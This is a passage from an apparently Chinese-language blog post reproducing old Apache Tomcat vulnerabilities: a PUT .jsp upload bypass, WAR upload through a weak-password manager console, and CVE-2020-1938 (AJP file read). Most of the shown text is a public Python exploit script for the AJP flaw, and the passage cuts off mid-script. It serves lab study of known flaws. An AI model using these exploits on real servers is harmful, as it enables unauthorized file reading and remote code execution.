src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414104612946.png" alt="image-20260414104612946"></p><p>可以成功访问</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414104650603.png" alt="image-20260414104650603"></p><p>在发送数据包的时候发的是</p><p>PUT &#x2F;1.jsp%20</p><p>如果不加%20 他会使用jsp的Servlet 所以需要加入空格的url编码 使得是DefaultServlet去处理这个请求</p><h3 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h3><p>不要使用readonly参数 默认也没有使用</p><h2 id="manager弱口令导致任意war包上传rce"><a href="#manager弱口令导致任意war包上传rce" class="headerlink" title="manager弱口令导致任意war包上传rce"></a>manager弱口令导致任意war包上传rce</h2><p>在conf&#x2F;tomcat-user.xml中 写入这些用户配置 即可打开&#x2F;manager</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414191841979.png" alt="image-20260414191841979"></p><p>如果在配置的时候 配置了弱密码就可能有rce风险</p><h3 id="复现-1"><a href="#复现-1" class="headerlink" title="复现"></a>复现</h3><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414192156054.png" alt="image-20260414192156054"></p><p>输入账号密码</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414192208692.png" alt="image-20260414192208692"></p><p>有一个可以上传war包的地方</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414192246033.png" alt="image-20260414192246033"></p><p>上传war包</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414192304442.png" alt="image-20260414192304442"></p><p>显示ok就可以了</p><p>访问<a href="http://127.0.0.1:8080/3/3.jsp">http://127.0.0.1:8080/3/3.jsp</a></p><p>我们war包名为3 他就会在webapp里面创建一个3的目录夹 并且有3.jsp</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414192322770.png" alt="image-20260414192322770"></p><h2 id="CVE-2020-1938-webapp-ROOT下的任意文件读取"><a href="#CVE-2020-1938-webapp-ROOT下的任意文件读取" class="headerlink" title="CVE 2020-1938 (webapp&#x2F;ROOT下的任意文件读取)"></a>CVE 2020-1938 (webapp&#x2F;ROOT下的任意文件读取)</h2><p>ajp协议是用于Web服务器与Servlet容器间的高效通信 ajp用来请求一些资源 并且传输二进制数据 效率比http协议高 </p><p>一般情况下客户端没法直接使用ajp协议去访问tomcat 一般都是走http</p><p>ajp协议并没有做一些权限控制 导致只需要构造一些恶意的请求 tomcat就会返回数据</p><p>ajp协议在tomcat中默认启动在8009端口上</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414193040459.png" alt="image-20260414193040459"></p><p>主要的触发方式是通过构造指定的数据包 <strong>触发指定资源的请求</strong> 依此读取文件</p><h3 id="复现-2"><a href="#复现-2" class="headerlink" title="复现"></a>复现</h3><p>使用exp脚本来触发漏洞</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment">#CNVD-2020-10487  Tomcat-Ajp lfi</span></span><br><span class="line"><span class="comment">#by ydhcui</span></span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"><span class="comment"># Some references:</span></span><br><span class="line"><span class="comment"># https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pack_string</span>(<span class="params">s</span>):</span><br><span class="line"><span class="keyword">if</span> s <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"><span class="keyword">return</span> struct.pack(<span class="string">&quot;&gt;h&quot;</span>, -<span class="number">1</span>)</span><br><span class="line">l = <span class="built_in">len</span>(s)</span><br><span class="line"><span class="keyword">return</span> struct.pack(<span class="string">&quot;&gt;H%dsb&quot;</span> % l, l, s.encode(<span class="string">&#x27;utf8&#x27;</span>), <span class="number">0</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">unpack</span>(<span class="params">stream, fmt</span>):</span><br><span class="line">size = struct.calcsize(fmt)</span><br><span class="line">buf = stream.read(size)</span><br><span class="line"><span class="keyword">return</span> struct.unpack(fmt, buf)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">unpack_string</span>(<span class="params">stream</span>):</span><br><span class="line">size, = unpack(stream, <span class="string">&quot;&gt;h&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> size == -<span class="number">1</span>: <span class="comment"># null string</span></span><br><span class="line"><span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">res, = unpack(stream, <span class="string">&quot;%ds&quot;</span> % size)</span><br><span class="line">stream.read(<span class="number">1</span>) <span class="comment"># \0</span></span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">NotFoundException</span>(<span class="title class_ inherited__">Exception</span>):</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AjpBodyRequest</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line"><span class="comment"># server == web server, container == servlet</span></span><br><span class="line">SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = <span class="built_in">range</span>(<span class="number">2</span>)</span><br><span class="line">MAX_REQUEST_LENGTH = <span class="number">8186</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, data_stream, data_len, data_direction=<span class="literal">None</span></span>):</span><br><span class="line"><span class="variable language_">self</span>.data_stream = data_stream</span><br><span class="line"><span class="variable language_">self</span>.data_len = data_len</span><br><span class="line"><span class="variable language_">self</span>.data_direction = data_direction</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">serialize</span>(<span class="params">self</span>):</span><br><span class="line">data = <span class="variable language_">self</span>.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(data) == <span class="number">0</span>:</span><br><span class="line"><span class="keyword">return</span> struct.pack(<span class="string">&quot;&gt;bbH&quot;</span>, <span class="number">0x12</span>, <span class="number">0x34</span>, <span class="number">0x00</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">res = struct.pack(<span class="string">&quot;&gt;H&quot;</span>, <span class="built_in">len</span>(data))</span><br><span class="line">res += data</span><br><span class="line"><span class="keyword">if</span> <span class="variable language_">self</span>.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:</span><br><span class="line">header = struct.pack(<span class="string">&quot;&gt;bbH&quot;</span>, <span class="number">0x12</span>, <span class="number">0x34</span>, <span class="built_in">len</span>(res))</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">header = struct.pack(<span class="string">&quot;&gt;bbH&quot;</span>, <span class="number">0x41</span>, <span class="number">0x42</span>, <span class="built_in">len</span>(res))</span><br><span class="line"><span class="keyword">return</span> header + res</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_and_receive</span>(<span class="params">self, socket, stream</span>):</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">data = <span class="variable language_">self</span>.serialize()</span><br><span class="line">socket.send(data)</span><br><span class="line">r = AjpResponse.receive(stream)</span><br><span class="line"><span class="keyword">while</span> r.prefix_code != AjpResponse.GET_BODY_CHUNK <span class="keyword">and</span> r.prefix_code != AjpResponse.SEND_HEADERS:</span><br><span class="line">r = AjpResponse.receive(stream)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> r.prefix_code == AjpResponse.SEND_HEADERS <span class="keyword">or</span> <span class="built_in">len</span>(data) == <span class="number">4</span>:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AjpForwardRequest</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = <span class="built_in">range</span>(<span class="number">28</span>)</span><br><span class="line">REQUEST_METHODS = &#123;<span class="string">&#x27;GET&#x27;</span>: GET, <span class="string">&#x27;POST&#x27;</span>: POST, <span class="string">&#x27;HEAD&#x27;</span>: HEAD, <span class="string">&#x27;OPTIONS&#x27;</span>: OPTIONS, <span class="string">&#x27;PUT&#x27;</span>: PUT, <span class="string">&#x27;DELETE&#x27;</span>: DELETE, <span class="string">&#x27;TRACE&#x27;</span>: TRACE&#125;</span><br><span class="line"><span class="comment"># server == web server, container == servlet</span></span><br><span class="line">SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = <span class="built_in">range</span>(<span class="number">2</span>)</span><br><span class="line">COMMON_HEADERS = [<span class="string">&quot;SC_REQ_ACCEPT&quot;</span>,</span><br><span class="line"><span class="string">&quot;SC_REQ_ACCEPT_CHARSET&quot;</span>, <span class="string">&quot;SC_REQ_ACCEPT_ENCODING&quot;</span>, <span class="string">&quot;SC_REQ_ACCEPT_LANGUAGE&quot;</span>, <span class="string">&quot;SC_REQ_AUTHORIZATION&quot;</span>,</span><br><span class="line"><span class="string">&quot;SC_REQ_CONNECTION&quot;</span>, <span class="string">&quot;SC_REQ_CONTENT_TYPE&quot;</span>, <span class="string">&quot;SC_REQ_CONTENT_LENGTH&quot;</span>, <span class="string">&quot;SC_REQ_COOKIE&quot;</span>, <span class="string">&quot;SC_REQ_COOKIE2&quot;</span>,</span><br><span class="line"><span class="string">&quot;SC_REQ_HOST&quot;</span>, <span class="string">&quot;SC_REQ_PRAGMA&quot;</span>, <span class="string">&quot;SC_REQ_REFERER&quot;</span>, <span class="string">&quot;SC_REQ_USER_AGENT&quot;</span></span><br><span class="line">]</span><br><span class="line">ATTRIBUTES = [<span class="string">&quot;context&quot;</span>, <span class="string">&quot;servlet_path&quot;</span>, <span class="string">&quot;remote_user&quot;</span>, <span class="string">&quot;auth_type&quot;</span>, <span class="string">&quot;query_string&quot;</span>, <span class="string">&quot;route&quot;</span>, <span class="string">&quot;ssl_cert&quot;</span>, <span class="string">&quot;ssl_cipher&quot;</span>, <span class="string">&quot;ssl_session&quot;</span>, <span class="string">&quot;req_attribute&quot;</span>, <span class="string">&quot;ssl_key_size&quot;</span>, <span class="string">&quot;secret&quot;</span>, <span class="string">&quot;stored_method&quot;</span>]</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, data_direction=<span class="literal">None</span></span>):</span><br><span class="line"><span class="variable language_">self</span>.prefix_code = <span class="number">0x02</span></span><br><span class="line"><span class="variable language_">self</span>.method = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.protocol = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.req_uri = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.remote_addr = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.remote_host = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.server_name = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.server_port = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.is_ssl = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.num_headers = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.request_headers = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.attributes = <span class="literal">None</span></span><br><span class="line"><span class="variable language_">self</span>.data_direction = data_direction</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pack_headers</span>(<span class="params">self</span>):</span><br><span class="line"><span class="variable language_">self</span>.num_headers = <span class="built_in">len</span>(<span class="variable language_">self</span>.request_headers)</span><br><span class="line">res = <span class="string">&quot;&quot;</span></span><br><span class="line">res = struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="variable language_">self</span>.num_headers)</span><br><span class="line"><span class="keyword">for</span> h_name <span class="keyword">in</span> <span class="variable language_">self</span>.request_headers:</span><br><span class="line"><span class="keyword">if</span> h_name.startswith(<span class="string">&quot;SC_REQ&quot;</span>):</span><br><span class="line">code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + <span class="number">1</span></span><br><span class="line">res += struct.pack(<span class="string">&quot;BB&quot;</span>, <span class="number">0xA0</span>, code)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">res += pack_string(h_name)</span><br><span class="line"></span><br><span class="line">res += pack_string(<span class="variable language_">self</span>.request_headers[h_name])</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pack_attributes</span>(<span class="params">self</span>):</span><br><span class="line">res = <span class="string">b&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> attr <span class="keyword">in</span> <span class="variable language_">self</span>.attributes:</span><br><span class="line">a_name = attr[<span class="string">&#x27;name&#x27;</span>]</span><br><span class="line">code = AjpForwardRequest.ATTRIBUTES.index(a_name) + <span class="number">1</span></span><br><span class="line">res += struct.pack(<span class="string">&quot;b&quot;</span>, code)</span><br><span class="line"><span class="keyword">if</span> a_name == <span class="string">&quot;req_attribute&quot;</span>:</span><br><span class="line">aa_name, a_value = attr[<span class="string">&#x27;value&#x27;</span>]</span><br><span class="line">res += pack_string(aa_name)</span><br><span class="line">res += pack_string(a_value)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">res += pack_string(attr[<span class="string">&#x27;value&#x27;</span>])</span><br><span class="line">res += struct.pack(<span class="string">&quot;B&quot;</span>, <span class="number">0xFF</span>)</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">serialize</span>(<span class="params">self</span>):</span><br><span class="line">res = <span class="string">&quot;&quot;</span></span><br><span class="line">res = struct.pack(<span class="string">&quot;bb&quot;</span>, <span class="variable language_">self</span>.prefix_code, <span class="variable language_">self</span>.method)</span><br><span class="line">res += pack_string(<span class="variable language_">self</span>.protocol)</span><br><span class="line">res += pack_string(<span class="variable language_">self</span>.req_uri)</span><br><span class="line">res += pack_string(<span class="variable language_">self</span>.remote_addr)</span><br><span class="line">res += pack_string(<span class="variable language_">self</span>.remote_host)</span><br><span class="line">res += pack_string(<span class="variable language_">self</span>.server_name)</span><br><span class="line">res += struct.pack(<span class="string">&quot;&gt;h&quot;</span>, <span class="variable language_">self</span>.server_port)</span><br><span class="line">res += struct.pack(<span class="string">&quot;?&quot;</span>, <span class="variable language_">self</span>.is_ssl)</span><br><span class="line">res += <span class="variable language_">self</span>.pack_headers()</span><br><span class="line">res += <span class="variable language_">self</span>.pack_attributes()</span><br><span class="line"><span class="keyword">if</span> <span class="variable language_">self</span>.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:</span><br><span class="line">header = struct.pack(<span class="string">&quot;&gt;bbh&quot;</span>, <span class="number">0x12</span>, <span class="number">0x34</span>, <span class="built_in">len</span>(res))</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">header = struct.pack(<span class="string">&quot;&gt;bbh&quot;</span>, <span class="number">0x41</span>, <span class="number">0x42</span>, <span class="built_in">len</span>(res))</span><br><span class="line"><span class="keyword">return</span> header + res</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">self, raw_packet</span>):</span><br><span class="line">stream = StringIO(raw_packet)</span><br><span class="line"><span class="variable language_">self</span>.magic1, <span class="variable language_">self</span>.magic2, data_len = unpack(stream, <span class="string">&quot;bbH&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.prefix_code, <span class="variable language_">self</span>.method = unpack(stream, <span class="string">&quot;bb&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.protocol = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.req_uri = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.remote_addr = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.remote_host = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.server_name = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.server_port = unpack(stream, <span class="string">&quot;&gt;h&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.is_ssl = unpack(stream, <span class="string">&quot;?&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.num_headers, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.request_headers = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="variable language_">self</span>.num_headers):</span><br><span class="line">code, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> code &gt; <span class="number">0xA000</span>:</span><br><span class="line">h_name = AjpForwardRequest.COMMON_HEADERS[code - <span class="number">0xA001</span>]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">h_name = unpack(stream, <span class="string">&quot;%ds&quot;</span> % code)</span><br><span class="line">stream.read(<span class="number">1</span>) <span class="comment"># \0</span></span><br><span class="line">h_value = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.request_headers[h_name] = h_value</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_and_receive</span>(<span class="params">self, socket, stream, save_cookies=<span class="literal">False</span></span>):</span><br><span class="line">res = []</span><br><span class="line">i = socket.sendall(<span class="variable language_">self</span>.serialize())</span><br><span class="line"><span class="keyword">if</span> <span class="variable language_">self</span>.method == AjpForwardRequest.POST:</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line">r = AjpResponse.receive(stream)</span><br><span class="line"><span class="keyword">assert</span> r.prefix_code == AjpResponse.SEND_HEADERS</span><br><span class="line">res.append(r)</span><br><span class="line"><span class="keyword">if</span> save_cookies <span class="keyword">and</span> <span class="string">&#x27;Set-Cookie&#x27;</span> <span class="keyword">in</span> r.response_headers:</span><br><span class="line"><span class="variable language_">self</span>.headers[<span class="string">&#x27;SC_REQ_COOKIE&#x27;</span>] = r.response_headers[<span class="string">&#x27;Set-Cookie&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># read body chunks and end response packets</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">r = AjpResponse.receive(stream)</span><br><span class="line">res.append(r)</span><br><span class="line"><span class="keyword">if</span> r.prefix_code == AjpResponse.END_RESPONSE:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">elif</span> r.prefix_code == AjpResponse.SEND_BODY_CHUNK:</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">raise</span> NotImplementedError</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AjpResponse</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = <span class="built_in">range</span>(<span class="number">7</span>)</span><br><span class="line">COMMON_SEND_HEADERS = [</span><br><span class="line"><span class="string">&quot;Content-Type&quot;</span>, <span class="string">&quot;Content-Language&quot;</span>, <span class="string">&quot;Content-Length&quot;</span>, <span class="string">&quot;Date&quot;</span>, <span class="string">&quot;Last-Modified&quot;</span>,</span><br><span class="line"><span class="string">&quot;Location&quot;</span>, <span class="string">&quot;Set-Cookie&quot;</span>, <span class="string">&quot;Set-Cookie2&quot;</span>, <span class="string">&quot;Servlet-Engine&quot;</span>, <span class="string">&quot;Status&quot;</span>, <span class="string">&quot;WWW-Authenticate&quot;</span></span><br><span class="line">]</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">self, stream</span>):</span><br><span class="line"><span class="comment"># read headers</span></span><br><span class="line"><span class="variable language_">self</span>.magic, <span class="variable language_">self</span>.data_length, <span class="variable language_">self</span>.prefix_code = unpack(stream, <span class="string">&quot;&gt;HHb&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="variable language_">self</span>.prefix_code == AjpResponse.SEND_HEADERS:</span><br><span class="line"><span class="variable language_">self</span>.parse_send_headers(stream)</span><br><span class="line"><span class="keyword">elif</span> <span class="variable language_">self</span>.prefix_code == AjpResponse.SEND_BODY_CHUNK:</span><br><span class="line"><span class="variable language_">self</span>.parse_send_body_chunk(stream)</span><br><span class="line"><span class="keyword">elif</span> <span class="variable language_">self</span>.prefix_code == AjpResponse.END_RESPONSE:</span><br><span class="line"><span class="variable language_">self</span>.parse_end_response(stream)</span><br><span class="line"><span class="keyword">elif</span> <span class="variable language_">self</span>.prefix_code == AjpResponse.GET_BODY_CHUNK:</span><br><span class="line"><span class="variable language_">self</span>.parse_get_body_chunk(stream)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">raise</span> NotImplementedError</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_send_headers</span>(<span class="params">self, stream</span>):</span><br><span class="line"><span class="variable language_">self</span>.http_status_code, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.http_status_msg = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.num_headers, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.response_headers = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="variable language_">self</span>.num_headers):</span><br><span class="line">code, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> code &lt;= <span class="number">0xA000</span>: <span class="comment"># custom header</span></span><br><span class="line">h_name, = unpack(stream, <span class="string">&quot;%ds&quot;</span> % code)</span><br><span class="line">stream.read(<span class="number">1</span>) <span class="comment"># \0</span></span><br><span class="line">h_value = unpack_string(stream)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">h_name = AjpResponse.COMMON_SEND_HEADERS[code-<span class="number">0xA001</span>]</span><br><span class="line">h_value = unpack_string(stream)</span><br><span class="line"><span class="variable language_">self</span>.response_headers[h_name] = h_value</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_send_body_chunk</span>(<span class="params">self, stream</span>):</span><br><span class="line"><span class="variable language_">self</span>.data_length, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="variable language_">self</span>.data = stream.read(<span class="variable language_">self</span>.data_length+<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_end_response</span>(<span class="params">self, stream</span>):</span><br><span class="line"><span class="variable language_">self</span>.reuse, = unpack(stream, <span class="string">&quot;b&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_get_body_chunk</span>(<span class="params">self, 